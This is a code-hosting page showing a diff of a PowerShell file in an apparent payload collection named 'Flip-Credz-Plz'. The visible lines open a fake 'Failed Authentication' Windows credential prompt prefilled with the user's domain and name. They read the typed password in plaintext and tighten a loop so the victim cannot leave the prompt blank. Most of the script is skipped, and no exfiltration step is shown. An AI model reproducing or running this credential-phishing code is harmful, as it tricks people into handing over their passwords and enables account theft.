🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    Payloads/Flip-Credz-Plz/test.ps1
    skipped 52 lines
    53 53   
    54 54  while ($form -eq $null)
    55 55  {
    56  - $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
     56 + $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
     57 + $cred.getnetworkcredential().password
    57 58   
    58  - if ($cred.Password -eq $null)
     59 + if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
    59 60   {
    60 61   Write-Output "Credentials cannot be left blank. Please try again."
    61 62   $form = $null
    skipped 158 lines
Please wait...
Page is in error, reload to recover